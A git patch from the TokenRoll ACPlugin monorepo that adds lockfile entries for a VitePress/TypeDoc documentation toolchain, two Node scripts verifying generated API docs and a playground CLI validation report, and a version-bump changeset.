10.0.2 + '@types/hast': 3.0.5 + + '@shikijs/vscode-textmate@10.0.2': {} + '@standard-schema/spec@1.1.0': {} '@stylistic/eslint-plugin@5.10.0(eslint@10.8.0(jiti@2.7.0))': @@ -3119,8 +4131,25 @@ snapshots: '@types/estree@1.0.9': {} + '@types/hast@3.0.5': + dependencies: + '@types/unist': 3.0.3 + '@types/json-schema@7.0.15': {} + '@types/linkify-it@5.0.0': {} + + '@types/markdown-it@14.1.2': + dependencies: + '@types/linkify-it': 5.0.0 + '@types/mdurl': 2.0.0 + + '@types/mdast@4.0.4': + dependencies: + '@types/unist': 3.0.3 + + '@types/mdurl@2.0.0': {} + '@types/node@12.20.55': {} '@types/node@20.19.43': @@ -3131,6 +4160,10 @@ snapshots: '@types/spdx-expression-parse@4.0.0': {} + '@types/unist@3.0.3': {} + + '@types/web-bluetooth@0.0.21': {} + '@typescript-eslint/eslint-plugin@8.66.0(@typescript-eslint/parser@8.66.0(@typescript/typescript6@6.0.2)(eslint@10.8.0(jiti@2.7.0)))(@typescript/typescript6@6.0.2)(eslint@10.8.0(jiti@2.7.0))': dependencies: '@eslint-community/regexpp': 4.12.2 @@ -3288,6 +4321,13 @@ snapshots: dependencies: '@typescript/old': typescript@6.0.3 + '@ungap/structured-clone@1.3.3': {} + + '@vitejs/plugin-vue@5.2.4(vite@5.4.21(@types/node@20.19.43))(vue@3.5.41(@typescript/typescript6@6.0.2))': + dependencies: + vite: 5.4.21(@types/node@20.19.43) + vue: 3.5.41(@typescript/typescript6@6.0.2) + '@vitest/expect@4.1.10': dependencies: '@standard-schema/spec': 1.1.0 @@ -3329,6 +4369,105 @@ snapshots: convert-source-map: 2.0.0 tinyrainbow: 3.1.1 + '@vue/compiler-core@3.5.41': + dependencies: + '@babel/parser': 7.29.8 + '@vue/shared': 3.5.41 + entities: 7.0.1 + estree-walker: 2.0.2 + source-map-js: 1.2.1 + + '@vue/compiler-dom@3.5.41': + dependencies: + '@vue/compiler-core': 3.5.41 + '@vue/shared': 3.5.41 + + '@vue/compiler-sfc@3.5.41': + dependencies: + '@babel/parser': 7.29.8 + '@vue/compiler-core': 3.5.41 + '@vue/compiler-dom': 3.5.41 + '@vue/compiler-ssr': 3.5.41 + '@vue/shared': 3.5.41 + estree-walker: 2.0.2 + magic-string: 0.30.21 + postcss: 8.5.25 + source-map-js: 1.2.1 + + '@vue/compiler-ssr@3.5.41': + dependencies: + '@vue/compiler-dom': 3.5.41 + '@vue/shared': 3.5.41 + + '@vue/devtools-api@7.7.10': + dependencies: + '@vue/devtools-kit': 7.7.10 + + '@vue/devtools-kit@7.7.10': + dependencies: + '@vue/devtools-shared': 7.7.10 + birpc: 2.9.0 + hookable: 5.5.3 + mitt: 3.0.1 + perfect-debounce: 1.0.0 + speakingurl: 14.0.1 + superjson: 2.2.6 + + '@vue/devtools-shared@7.7.10': + dependencies: + rfdc: 1.4.1 + + '@vue/reactivity@3.5.41': + dependencies: + '@vue/shared': 3.5.41 + + '@vue/runtime-core@3.5.41': + dependencies: + '@vue/reactivity': 3.5.41 + '@vue/shared': 3.5.41 + + '@vue/runtime-dom@3.5.41': + dependencies: + '@vue/reactivity': 3.5.41 + '@vue/runtime-core': 3.5.41 + '@vue/shared': 3.5.41 + csstype: 3.2.3 + + '@vue/server-renderer@3.5.41': + dependencies: + '@vue/compiler-ssr': 3.5.41 + '@vue/runtime-dom': 3.5.41 + '@vue/shared': 3.5.41 + + '@vue/shared@3.5.41': {} + + '@vueuse/core@12.8.2(@typescript/typescript6@6.0.2)': + dependencies: + '@types/web-bluetooth': 0.0.21 + '@vueuse/metadata': 12.8.2 + '@vueuse/shared': 12.8.2(@typescript/typescript6@6.0.2) + vue: 3.5.41(@typescript/typescript6@6.0.2) + transitivePeerDependencies: + - typescript + + '@vueuse/integrations@12.8.2(@typescript/typescript6@6.0.2)(focus-trap@7.8.0)': + dependencies: + '@vueuse/core': 12.8.2(@typescript/typescript6@6.0.2) + '@vueuse/shared': 12.8.2(@typescript/typescript6@6.0.2) + vue: 3.5.41(@typescript/typescript6@6.0.2) + optionalDependencies: + focus-trap: 7.8.0 + transitivePeerDependencies: + - typescript + + '@vueuse/metadata@12.8.2': {} + + '@vueuse/shared@12.8.2(@typescript/typescript6@6.0.2)': + dependencies: + vue: 3.5.41(@typescript/typescript6@6.0.2) + transitivePeerDependencies: + - typescript + '@yuku-codegen/binding-android-arm64@0.8.3': optional: true @@ -3416,6 +4555,23 @@ snapshots: json-schema-traverse: 0.4.1 uri-js: 4.4.1 + algoliasearch@5.56.0: + dependencies: + '@algolia/abtesting': 1.22.0 + '@algolia/client-abtesting': 5.56.0 + '@algolia/client-analytics': 5.56.0 + '@algolia/client-common': 5.56.0 + '@algolia/client-insights': 5.56.0 + '@algolia/client-personalization': 5.56.0 + '@algolia/client-query-suggestions': 5.56.0 + '@algolia/client-search': 5.56.0 + '@algolia/ingestion': 1.56.0 + '@algolia/monitoring': 1.56.0 + '@algolia/recommend': 5.56.0 + '@algolia/requester-browser-xhr': 5.56.0 + '@algolia/requester-fetch': 5.56.0 + '@algolia/requester-node-http': 5.56.0 + ansi-colors@4.1.3: {} ansi-regex@5.0.1: {} @@ -3444,6 +4600,8 @@ snapshots: dependencies: is-windows: 1.0.2 + birpc@2.9.0: {} + bl@4.1.0: dependencies: buffer: 5.7.1 @@ -3465,6 +4623,8 @@ snapshots: cac@7.0.0: {} + ccount@2.0.1: {} + chai@6.2.2: {} chalk@4.1.2: @@ -3474,6 +4634,10 @@ snapshots: chalk@5.6.2: {} + character-entities-html4@2.1.0: {} + + character-entities-legacy@3.0.0: {} + chardet@2.2.0: {} chokidar@5.0.0: @@ -3498,16 +4662,24 @@ snapshots: color-name@1.1.4: {} + comma-separated-tokens@2.0.3: {} + commander@14.0.1: {} convert-source-map@2.0.0: {} + copy-anything@4.0.5: + dependencies: + is-what: 5.5.0 + cross-spawn@7.0.6: dependencies: path-key: 3.1.1 shebang-command: 2.0.0 which: 2.0.2 + csstype@3.2.3: {} + debug@4.4.3: dependencies: ms: 2.1.3 @@ -3520,14 +4692,22 @@ snapshots: defu@6.1.7: {} + dequal@2.0.3: {} + detect-indent@6.1.0: {} + devlop@1.1.0: + dependencies: + dequal: 2.0.3 + dir-glob@3.0.1: dependencies: path-type: 4.0.0 dts-resolver@3.0.0: {} + emoji-regex-xs@1.0.0: {} + empathic@2.0.1: {} enquirer@2.4.1: @@ -3535,8 +4715,38 @@ snapshots: ansi-colors: 4.1.3 strip-ansi: 6.0.1 + entities@4.5.0: {} + + entities@7.0.1: {} + es-module-lexer@2.3.1: {} + esbuild@0.21.5: + optionalDependencies: + '@esbuild/aix-ppc64': 0.21.5 + '@esbuild/android-arm': 0.21.5 + '@esbuild/android-arm64': 0.21.5 + '@esbuild/android-x64': 0.21.5 + '@esbuild/darwin-arm64': 0.21.5 + '@esbuild/darwin-x64': 0.21.5 + '@esbuild/freebsd-arm64': 0.21.5 + '@esbuild/freebsd-x64': 0.21.5 + '@esbuild/linux-arm': 0.21.5 + '@esbuild/linux-arm64': 0.21.5 + '@esbuild/linux-ia32': 0.21.5 + '@esbuild/linux-loong64': 0.21.5 + '@esbuild/linux-mips64el': 0.21.5 + '@esbuild/linux-ppc64': 0.21.5 + '@esbuild/linux-riscv64': 0.21.5 + '@esbuild/linux-s390x': 0.21.5 + '@esbuild/linux-x64': 0.21.5 + '@esbuild/netbsd-x64': 0.21.5 + '@esbuild/openbsd-x64': 0.21.5 + '@esbuild/sunos-x64': 0.21.5 + '@esbuild/win32-arm64': 0.21.5 + '@esbuild/win32-ia32': 0.21.5 + '@esbuild/win32-x64': 0.21.5 + esbuild@0.28.1: optionalDependencies: '@esbuild/aix-ppc64': 0.28.1 @@ -3642,6 +4852,8 @@ snapshots: estraverse@5.3.0: {} + estree-walker@2.0.2: {} + estree-walker@3.0.3: dependencies: '@types/estree': 1.0.9 @@ -3715,6 +4927,10 @@ snapshots: flatted@3.4.4: {} + focus-trap@7.8.0: + dependencies: + tabbable: 6.5.0 + fs-extra@7.0.1: dependencies: graceful-fs: 4.2.11 @@ -3768,8 +4984,30 @@ snapshots: has-flag@4.0.0: {} + hast-util-to-html@9.0.5: + dependencies: + '@types/hast': 3.0.5 + '@types/unist': 3.0.3 + ccount: 2.0.1 + comma-separated-tokens: 2.0.3 + hast-util-whitespace: 3.0.0 + html-void-elements: 3.0.0 + mdast-util-to-hast: 13.2.1 + property-information: 7.2.0 + space-separated-tokens: 2.0.2 + stringify-entities: 4.0.4 + zwitch: 2.0.4 + + hast-util-whitespace@3.0.0: + dependencies: + '@types/hast': 3.0.5 + + hookable@5.5.3: {} + hookable@6.1.1: {} + html-void-elements@3.0.0: {} + human-id@4.2.0: {} husky@9.1.7: {} @@ -3810,6 +5048,8 @@ snapshots: is-unicode-supported@0.1.0: {} + is-what@5.5.0: {} + is-windows@1.0.2: {} isexe@2.0.0: {} @@ -3846,6 +5086,10 @@ snapshots: prelude-ls: 1.2.1 type-check: 0.4.0 + linkify-it@5.0.2: + dependencies: + uc.micro: 2.1.0 + lint-staged@17.2.0: dependencies: picomatch: 4.0.5 @@ -3871,12 +5115,56 @@ snapshots: lru-cache@11.5.2: {} + lunr@2.3.9: {} + magic-string@0.30.21: dependencies: '@jridgewell/sourcemap-codec': 1.5.5 + mark.js@8.11.1: {} + + markdown-it@14.3.0: + dependencies: + argparse: 2.0.1 + entities: 4.5.0 + linkify-it: 5.0.2 + mdurl: 2.1.0 + punycode.js: 2.3.1 + uc.micro: 2.1.0 + + mdast-util-to-hast@13.2.1: + dependencies: + '@types/hast': 3.0.5 + '@types/mdast': 4.0.4 + '@ungap/structured-clone': 1.3.3 + devlop: 1.1.0 + micromark-util-sanitize-uri: 2.0.1 + trim-lines: 3.0.1 + unist-util-position: 5.0.0 + unist-util-visit: 5.1.0 + vfile: 6.0.3 + + mdurl@2.1.0: {} + merge2@1.4.1: {} + micromark-util-character@2.1.1: + dependencies: + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-util-encode@2.0.1: {} + + micromark-util-sanitize-uri@2.0.1: + dependencies: + micromark-util-character: 2.1.1 + micromark-util-encode: 2.0.1 + micromark-util-symbol: 2.0.1 + + micromark-util-symbol@2.0.1: {} + + micromark-util-types@2.0.2: {} + micromatch@4.0.8: dependencies: braces: 3.0.3 @@ -3890,6 +5178,10 @@ snapshots: minipass@7.1.3: {} + minisearch@7.2.0: {} + + mitt@3.0.1: {} + mri@1.2.0: {} ms@2.1.3: {} @@ -3906,6 +5198,12 @@ snapshots: dependencies: mimic-fn: 2.1.0 + oniguruma-to-es@3.1.1: + dependencies: + emoji-regex-xs: 1.0.0 + regex: 6.1.0 + regex-recursion: 6.0.2 + optionator@0.9.4: dependencies: deep-is: 0.1.4 @@ -3972,6 +5270,8 @@ snapshots: pathe@2.0.3: {} + perfect-debounce@1.0.0: {} + picocolors@1.1.1: {} picomatch@2.3.2: {} @@ -3986,10 +5286,14 @@ snapshots: picocolors: 1.1.1 source-map-js: 1.2.1 + preact@10.29.8: {} + prelude-ls@1.2.1: {} prettier@2.8.8: {} + property-information@7.2.0: {} + publint@0.3.23: dependencies: '@publint/pack': 0.1.6 @@ -3997,6 +5301,8 @@ snapshots: picocolors: 1.1.1 sade: 1.8.1 + punycode.js@2.3.1: {} + punycode@2.3.1: {} quansync@0.2.11: {} @@ -4020,6 +5326,16 @@ snapshots: readdirp@5.0.0: {} + regex-recursion@6.0.2: + dependencies: + regex-utilities: 2.3.0 + + regex-utilities@2.3.0: {} + + regex@6.1.0: + dependencies: + regex-utilities: 2.3.0 + resolve-from@5.0.0: {} resolve-pkg-maps@1.0.0: {} @@ -4031,6 +5347,8 @@ snapshots: reusify@1.1.0: {} + rfdc@1.4.1: {} + rolldown-plugin-dts@0.27.14(@typescript/typescript6@6.0.2)(rolldown@1.2.2): dependencies: dts-resolver: 3.0.0 @@ -4126,6 +5444,8 @@ snapshots: dependencies: xmlchars: 2.2.0 + search-insights@2.17.3: {} + section-matter@1.0.0: dependencies: extend-shallow: 2.0.1 @@ -4139,6 +5459,17 @@ snapshots: shebang-regex@3.0.0: {} + shiki@2.5.0: + dependencies: + '@shikijs/core': 2.5.0 + '@shikijs/engine-javascript': 2.5.0 + '@shikijs/engine-oniguruma': 2.5.0 + '@shikijs/langs': 2.5.0 + '@shikijs/themes': 2.5.0 + '@shikijs/types': 2.5.0 + '@shikijs/vscode-textmate': 10.0.2 + '@types/hast': 3.0.5 + siginfo@2.0.0: {} signal-exit@3.0.7: {} @@ -4149,6 +5480,8 @@ snapshots: source-map-js@1.2.1: {} + space-separated-tokens@2.0.2: {} + spawndamnit@3.0.1: dependencies: cross-spawn: 7.0.6 @@ -4163,6 +5496,8 @@ snapshots: spdx-license-ids@3.0.23: {} + speakingurl@14.0.1: {} + sprintf-js@1.0.3: {} stackback@0.0.2: {} @@ -4175,6 +5510,11 @@ snapshots: dependencies: safe-buffer: 5.2.1 + stringify-entities@4.0.4: + dependencies: + character-entities-html4: 2.1.0 + character-entities-legacy: 3.0.0 + strip-ansi@6.0.1: dependencies: ansi-regex: 5.0.1 @@ -4183,10 +5523,16 @@ snapshots: strip-bom@3.0.0: {} + superjson@2.2.6: + dependencies: + copy-anything: 4.0.5 + supports-color@7.2.0: dependencies: has-flag: 4.0.0 + tabbable@6.5.0: {} + term-size@2.2.1: {} tinybench@2.9.0: {} @@ -4206,6 +5552,8 @@ snapshots: tree-kill@1.2.2: {} + trim-lines@3.0.1: {} + ts-api-utils@2.5.0(@typescript/typescript6@6.0.2): dependencies: typescript: '@typescript/typescript6@6.0.2' @@ -4268,6 +5616,23 @@ snapshots: dependencies: prelude-ls: 1.2.1 + typedoc-plugin-markdown@4.12.0(typedoc@0.28.20(@typescript/typescript6@6.0.2)): + dependencies: + typedoc: 0.28.20(@typescript/typescript6@6.0.2) + + typedoc-vitepress-theme@1.1.3(typedoc-plugin-markdown@4.12.0(typedoc@0.28.20(@typescript/typescript6@6.0.2))): + dependencies: + typedoc-plugin-markdown: 4.12.0(typedoc@0.28.20(@typescript/typescript6@6.0.2)) + + typedoc@0.28.20(@typescript/typescript6@6.0.2): + dependencies: + '@gerrit0/mini-shiki': 3.23.0 + lunr: 2.3.9 + markdown-it: 14.3.0 + minimatch: 10.2.6 + typescript: '@typescript/typescript6@6.0.2' + yaml: 2.9.0 + typescript-eslint@8.66.0(@typescript/typescript6@6.0.2)(eslint@10.8.0(jiti@2.7.0)): dependencies: '@typescript-eslint/eslint-plugin': 8.66.0(@typescript-eslint/parser@8.66.0(@typescript/typescript6@6.0.2)(eslint@10.8.0(jiti@2.7.0)))(@typescript/typescript6@6.0.2)(eslint@10.8.0(jiti@2.7.0)) @@ -4306,6 +5671,8 @@ snapshots: '@typescript/typescript-win32-arm64': 7.0.2 '@typescript/typescript-win32-x64': 7.0.2 + uc.micro@2.1.0: {} + unconfig-core@7.5.0: dependencies: '@quansync/fs': 1.0.0 @@ -4313,6 +5680,29 @@ snapshots: undici-types@6.21.0: {} + unist-util-is@6.0.1: + dependencies: + '@types/unist': 3.0.3 + + unist-util-position@5.0.0: + dependencies: + '@types/unist': 3.0.3 + + unist-util-stringify-position@4.0.0: + dependencies: + '@types/unist': 3.0.3 + + unist-util-visit-parents@6.0.2: + dependencies: + '@types/unist': 3.0.3 + unist-util-is: 6.0.1 + + unist-util-visit@5.1.0: + dependencies: + '@types/unist': 3.0.3 + unist-util-is: 6.0.1 + unist-util-visit-parents: 6.0.2 + universalify@0.1.2: {} uri-js@4.4.1: @@ -4325,6 +5715,25 @@ snapshots: verkit@0.3.2: {} + vfile-message@4.0.3: + dependencies: + '@types/unist': 3.0.3 + unist-util-stringify-position: 4.0.0 + + vfile@6.0.3: + dependencies: + '@types/unist': 3.0.3 + vfile-message: 4.0.3 + + vite@5.4.21(@types/node@20.19.43): + dependencies: + esbuild: 0.21.5 + postcss: 8.5.25 + rollup: 4.62.3 + optionalDependencies: + '@types/node': 20.19.43 + fsevents: 2.3.3 + vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0): dependencies: esbuild: 0.28.1 @@ -4339,6 +5748,56 @@ snapshots: jiti: 2.7.0 yaml: 2.9.0 + vitepress@1.6.4(@algolia/client-search@5.56.0)(@types/node@20.19.43)(@typescript/typescript6@6.0.2)(postcss@8.5.25)(search-insights@2.17.3): + dependencies: + '@docsearch/css': 3.8.2 + '@docsearch/js': 3.8.2(@algolia/client-search@5.56.0)(search-insights@2.17.3) + '@iconify-json/simple-icons': 1.2.93 + '@shikijs/core': 2.5.0 + '@shikijs/transformers': 2.5.0 + '@shikijs/types': 2.5.0 + '@types/markdown-it': 14.1.2 + '@vitejs/plugin-vue': 5.2.4(vite@5.4.21(@types/node@20.19.43))(vue@3.5.41(@typescript/typescript6@6.0.2)) + '@vue/devtools-api': 7.7.10 + '@vue/shared': 3.5.41 + '@vueuse/core': 12.8.2(@typescript/typescript6@6.0.2) + '@vueuse/integrations': 12.8.2(@typescript/typescript6@6.0.2)(focus-trap@7.8.0) + focus-trap: 7.8.0 + mark.js: 8.11.1 + minisearch: 7.2.0 + shiki: 2.5.0 + vite: 5.4.21(@types/node@20.19.43) + vue: 3.5.41(@typescript/typescript6@6.0.2) + optionalDependencies: + postcss: 8.5.25 + transitivePeerDependencies: + - '@algolia/client-search' + - '@types/node' + - '@types/react' + - async-validator + - axios + - change-case + - drauu + - fuse.js + - idb-keyval + - jwt-decode + - less + - lightningcss + - nprogress + - preact-render-to-string + - qrcode + - react + - react-dom + - sass + - sass-embedded + - search-insights + - sortablejs + - stylus + - sugarss + - terser + - typescript + - universal-cookie + vitest@4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)): dependencies: '@vitest/expect': 4.1.10 @@ -4366,6 +5825,16 @@ snapshots: transitivePeerDependencies: - msw + vue@3.5.41(@typescript/typescript6@6.0.2): + dependencies: + '@vue/compiler-dom': 3.5.41 + '@vue/compiler-sfc': 3.5.41 + '@vue/runtime-dom': 3.5.41 + '@vue/server-renderer': 3.5.41 + '@vue/shared': 3.5.41 + optionalDependencies: + typescript: '@typescript/typescript6@6.0.2' + wcwidth@1.0.1: dependencies: defaults: 1.0.4 @@ -4425,3 +5894,5 @@ snapshots: '@yuku-parser/binding-linux-x64-musl': 0.8.3 '@yuku-parser/binding-win32-arm64': 0.8.3 '@yuku-parser/binding-win32-x64': 0.8.3 + + zwitch@2.0.4: {} diff --git a/scripts/comment-coverage.json b/scripts/comment-coverage.json index 7a162fa..4b1212f 100644 --- a/scripts/comment-coverage.json +++ b/scripts/comment-coverage.json @@ -44,6 +44,12 @@ "packages/core/test/scanner.test.ts", "packages/core/test/transaction.test.ts", "packages/core/tsdown.config.ts", + "packages/docs/.vitepress/config.mts", + "packages/docs/.vitepress/theme/index.ts", + "packages/playground/acplugin.config.ts", + "packages/playground/src/hooks/pre-compact/hook.ts", + "packages/playground/src/hooks/session-start/hook.ts", + "packages/playground/src/hooks/stop/hook.ts", "packages/test/test/architecture.test.ts", "packages/test/test/build.test.ts", "packages/test/test/cli.test.ts", @@ -132,6 +138,8 @@ "packages/extensions/mcp/test/mcp.test.ts", "packages/extensions/mcp/tsdown.config.ts", "scripts/check-comments.mjs", + "scripts/verify-docs.mjs", + "scripts/verify-playground.mjs", "scripts/verify-release.mjs" ] } diff --git a/scripts/verify-docs.mjs b/scripts/verify-docs.mjs new file mode 100644 index 0000000..2aee7aa --- /dev/null +++ b/scripts/verify-docs.mjs @@ -0,0 +1,84 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; + +/** 当前仓库根目录,用于定位生成输出并检查绝对路径泄漏。 */ +const root = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..'); +/** TypeDoc 与 VitePress 共享的 API Markdown 输出目录。 */ +const apiDirectory = path.join(root, 'packages/docs/api'); +/** 必须作为 TypeDoc package 模块出现的公开 package 及其代表 API 页面。 */ +const publicPackages = [ + { name: '@tokenroll/acplugin', api: 'functions/defineConfig.md' }, + { name: '@tokenroll/acplugin-platform-antigravity', api: 'functions/antigravity.md' }, + { name: '@tokenroll/acplugin-platform-claude-code', api: 'functions/claudeCode.md' }, + { name: '@tokenroll/acplugin-platform-codex', api: 'functions/codex.md' }, + { name: '@tokenroll/acplugin-platform-cursor', api: 'functions/cursor.md' }, + { name: '@tokenroll/acplugin-platform-opencode', api: 'functions/openCode.md' }, + { name: '@tokenroll/acplugin-platform-pi', api: 'functions/pi.md' }, + { name: '@tokenroll/acplugin-extension-hooks', api: 'functions/defineHook.md' }, + { name: '@tokenroll/acplugin-extension-mcp', api: 'functions/defineMcpServer.md' }, +]; +/** 不得成为 TypeDoc package 模块的私有 workspace。 */ +const privatePackages = ['@acplugin/core', '@acplugin/test', '@acplugin/docs', '@acplugin/playground']; + +/** 递归读取目录中的全部 Markdown 和 JSON 生成物。 */ +async function readGenerated(directory) { + /** 当前目录按代码单元稳定排序后的条目。 */ + const entries = (await fs.readdir(directory, { withFileTypes: true })) + .sort((left, right) => left.name < right.name ? -1 : left.name > right.name ? 1 : 0); + /** 当前子树累积的相对文件名和文本内容。 */ + const files = []; + for (const entry of entries) { + /** 当前条目的绝对路径。 */ + const file = path.join(directory, entry.name); + if (entry.isDirectory()) { + files.push(...await readGenerated(file)); + } else if (entry.isFile() && (entry.name.endsWith('.md') || entry.name.endsWith('.json'))) { + files.push({ file, source: await fs.readFile(file, 'utf8') }); + } + } + return files; +} + +/** 对确定性文档结构断言失败并使用稳定消息退出。 */ +function assert(condition, message) { + if (!condition) + throw new Error(message); +} + +/** 判断路径是否存在,用于验证 TypeDoc package 页面集合。 */ +async function pathExists(file) { + try { + await fs.access(file); + return true; + } catch { + return false; + } +} + +/** 验证 TypeDoc 输出只包含期望的公开 package,且不泄漏本机路径。 */ +async function main() { + /** TypeDoc 主题生成的 VitePress sidebar 文件。 */ + const sidebar = path.join(apiDirectory, 'typedoc-sidebar.json'); + await fs.access(path.join(apiDirectory, 'index.md')); + await fs.access(sidebar); + /** 用于检查 package 名和路径泄漏的完整生成文本。 */ + const files = await readGenerated(apiDirectory); + /** 合并后供 package 名和本机路径断言使用的稳定文本。 */ + const source = files.map(file => file.source).join('\n'); + for (const packageEntry of publicPackages) { + /** 当前公开 package 对应的 TypeDoc 输出目录。 */ + const packageDirectory = path.join(apiDirectory, packageEntry.name); + assert(await pathExists(path.join(packageDirectory, 'index.md')), `Generated API is missing package page ${packageEntry.name}.`); + assert(await pathExists(path.join(packageDirectory, packageEntry.api)), `Generated API is missing representative API for ${packageEntry.name}.`); + assert(source.includes(`/api/${packageEntry.name}/`), `Generated sidebar is missing public package ${packageEntry.name}.`); + } + for (const packageName of privatePackages) { + assert(!await pathExists(path.join(apiDirectory, packageName)), `Generated API exposes private package directory ${packageName}.`); + assert(!source.includes(packageName), `Generated API exposes private package ${packageName}.`); + } + assert(!source.includes(root), 'Generated API contains the absolute workspace path.'); +} + +/** 作为脚本入口立即运行检查,让任何结构漂移以非零退出码结束。 */ +await main(); diff --git a/scripts/verify-playground.mjs b/scripts/verify-playground.mjs new file mode 100644 index 0000000..aadd428 --- /dev/null +++ b/scripts/verify-playground.mjs @@ -0,0 +1,95 @@ +import { execFile } from 'node:child_process'; +import path from 'node:path'; +import process from 'node:process'; +import { promisify } from 'node:util'; +import { fileURLToPath } from 'node:url'; + +/** Promise 化的子进程执行器,用于消费真实 CLI JSON。 */ +const execute = promisify(execFile); +/** 当前仓库根目录。 */ +const root = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..'); +/** Playground 工程根目录。 */ +const playground = path.join(root, 'packages/playground'); +/** 已构建的真实 acplugin CLI 入口。 */ +const cli = path.join(root, 'packages/acplugin/dist/cli.mjs'); + +/** 在 Playground 报告不满足预期时使用稳定消息失败。 */ +function assert(condition, message) { + if (!condition) + throw new Error(message); +} + +/** Playground 明确接受的 Codex Agent 降级及其依赖传播。 */ +const expectedDegradations = new Set([ + 'agent:investigator\0agent.capabilities', + 'agent:investigator\0agent.model', + 'agent:investigator\0component', + 'agent:recorder\0agent.capabilities', + 'agent:recorder\0agent.model', + 'agent:recorder\0component', + 'agent:reflector\0agent.capabilities', + 'agent:reflector\0agent.model', + 'agent:reflector\0component', + 'command:prune\0dependency:agent:reflector', + 'command:update\0dependency:agent:investigator', + 'command:upgrade\0dependency:agent:recorder', +]); + +/** 判断 relaxed 诊断是否使用预期的稳定结构,而不依赖人类可读文案。 */ +function isExpectedDiagnostic(diagnostic) { + return diagnostic.code === 'COMPATIBILITY_RELAXED' + && diagnostic.platform === 'codex' + && diagnostic.phase === 'compatibility' + && diagnostic.severity === 'warning'; +} + +/** 读取指定 Platform 主 DeliveryUnit 的 Artifact 路径集合。 */ +function artifactsFor(report, platform) { + /** 当前 Platform 唯一主交付单元。 */ + const unit = report.deliveryUnits.find(candidate => candidate.platform === platform && candidate.role === 'primary'); + assert(unit !== undefined, `Playground report is missing the ${platform} primary DeliveryUnit.`); + return new Set(unit.artifacts.map(artifact => artifact.path)); +} + +/** 运行真实 validate,并校验 relaxed 白名单与关键交付资源。 */ +async function main() { + /** CLI 稳定 JSON 模式产生的标准输出。 */ + const { stdout } = await execute(process.execPath, [cli, 'validate', '--json'], { + cwd: playground, + maxBuffer: 4 * 1024 * 1024, + }); + /** 已解析的公开 BuildResult 报告。 */ + const report = JSON.parse(stdout); + assert(report.success === true, 'Playground validation did not succeed.'); + assert(report.committed === false, 'Playground validation unexpectedly committed output.'); + assert(report.diagnostics.every(isExpectedDiagnostic), 'Playground report contains an unexpected diagnostic.'); + assert(report.compatibility.every(entry => entry.level !== 'unsupported'), 'Playground report contains unsupported compatibility.'); + /** 报告中实际出现的全部 degraded 结构化兼容性键。 */ + const degradedEntries = report.compatibility.filter(entry => entry.level === 'degraded'); + /** 去重后的 subject/capability 键,用于拒绝未声明的降级。 */ + const actualDegradations = new Set(degradedEntries.map(entry => `${entry.subject}\0${entry.capability}`)); + assert(degradedEntries.length === expectedDegradations.size, 'Playground report contains an unexpected number of degradations.'); + assert(actualDegradations.size === expectedDegradations.size, 'Playground report contains an unexpected number of degradations.'); + for (const degradation of expectedDegradations) + assert(actualDegradations.has(degradation), `Playground report is missing expected degradation ${degradation.replace('\0', ' / ')}.`); + assert(report.diagnostics.length === expectedDegradations.size, 'Playground diagnostics do not match the accepted degradations.'); + + for (const platform of ['claude-code', 'codex']) { + /** 当前 Platform 交付单元中的全部稳定 Artifact 路径。 */ + const artifacts = artifactsFor(report, platform); + for (const reference of ['frontier', 'transaction', 'reflection-promotion', 'compact-continuation']) { + assert(artifacts.has(`skills/llmdoc/references/${reference}.md`), `${platform} is missing Skill reference ${reference}.`); + } + for (const hook of ['session-start', 'pre-compact', 'stop']) { + assert(artifacts.has(`hooks/${hook}/handler.mjs`), `${platform} is missing Hook handler ${hook}.`); + assert(artifacts.has(`hooks/${hook}/wire.mjs`), `${platform} is missing Hook wire ${hook}.`); + } + assert(artifacts.has('resources/templates/domain.md'), `${platform} is missing Public templates.`); + assert(artifacts.has('runtime/README.md'), `${platform} is missing the runtime boundary document.`); + assert(artifacts.has('schemas/README.md'), `${platform} is missing the schema boundary document.`); + assert(artifacts.has('upgrade/README.md'), `${platform} is missing the upgrade boundary document.`); + } +} + +/** 作为脚本入口执行 Playground 结构与兼容性白名单检查。 */ +await main(); From 7f1b3012fe5af84a0f8ba494cd678dc9c5460b15 Mon Sep 17 00:00:00 2001 From: wh1teAlter <2369332823@qq.com> Date: Mon, 10 Aug 2026 12:32:37 +0800 Subject: [PATCH 18/27] feat: promote TokenRoll ACPlugin to stable 0.0.1-beta release with updated package versions and new platform packages --- .changeset/initial-1-0-baseline.md | 43 ++++++++++++++++++- llmdoc/state/sync.md | 2 +- package.json | 2 +- packages/acplugin/package.json | 2 +- packages/acplugin/src/index.ts | 2 +- packages/acplugin/src/init.ts | 8 ++-- packages/acplugin/src/migration/index.ts | 6 +-- packages/core/package.json | 2 +- .../ecosystem/package-and-peer-boundaries.md | 4 +- packages/docs/package.json | 2 +- packages/extensions/hooks/package.json | 2 +- packages/extensions/mcp/package.json | 2 +- packages/platforms/antigravity/package.json | 2 +- packages/platforms/claude-code/package.json | 2 +- packages/platforms/codex/package.json | 2 +- packages/platforms/cursor/package.json | 2 +- packages/platforms/opencode/package.json | 2 +- packages/platforms/pi/package.json | 2 +- packages/playground/package.json | 2 +- packages/test/package.json | 2 +- packages/test/test/init.test.ts | 4 +- packages/test/test/migration.test.ts | 2 +- packages/test/test/package-boundaries.test.ts | 5 ++- packages/test/test/workspace-layout.test.ts | 2 +- 24 files changed, 75 insertions(+), 31 deletions(-) diff --git a/.changeset/initial-1-0-baseline.md b/.changeset/initial-1-0-baseline.md index 3f0465c..d3aa1d2 100644 --- a/.changeset/initial-1-0-baseline.md +++ b/.changeset/initial-1-0-baseline.md @@ -1,4 +1,45 @@ --- +"@tokenroll/acplugin": patch +"@tokenroll/acplugin-platform-claude-code": patch +"@tokenroll/acplugin-platform-codex": patch +"@tokenroll/acplugin-platform-cursor": patch +"@tokenroll/acplugin-platform-antigravity": patch +"@tokenroll/acplugin-platform-opencode": patch +"@tokenroll/acplugin-platform-pi": patch +"@tokenroll/acplugin-extension-hooks": patch +"@tokenroll/acplugin-extension-mcp": patch --- -Record the unreleased 1.0.0 architecture baseline without bumping the already prepared public cohort. +Promote the complete TokenRoll ACPlugin beta package ecosystem to the stable `0.0.1` release. + +This release establishes the new `@tokenroll/*` package line after the coordinated `0.0.1-beta` cohort. It is not a patch-compatible continuation of the legacy `@disdjj/acplugin` converter. + +### 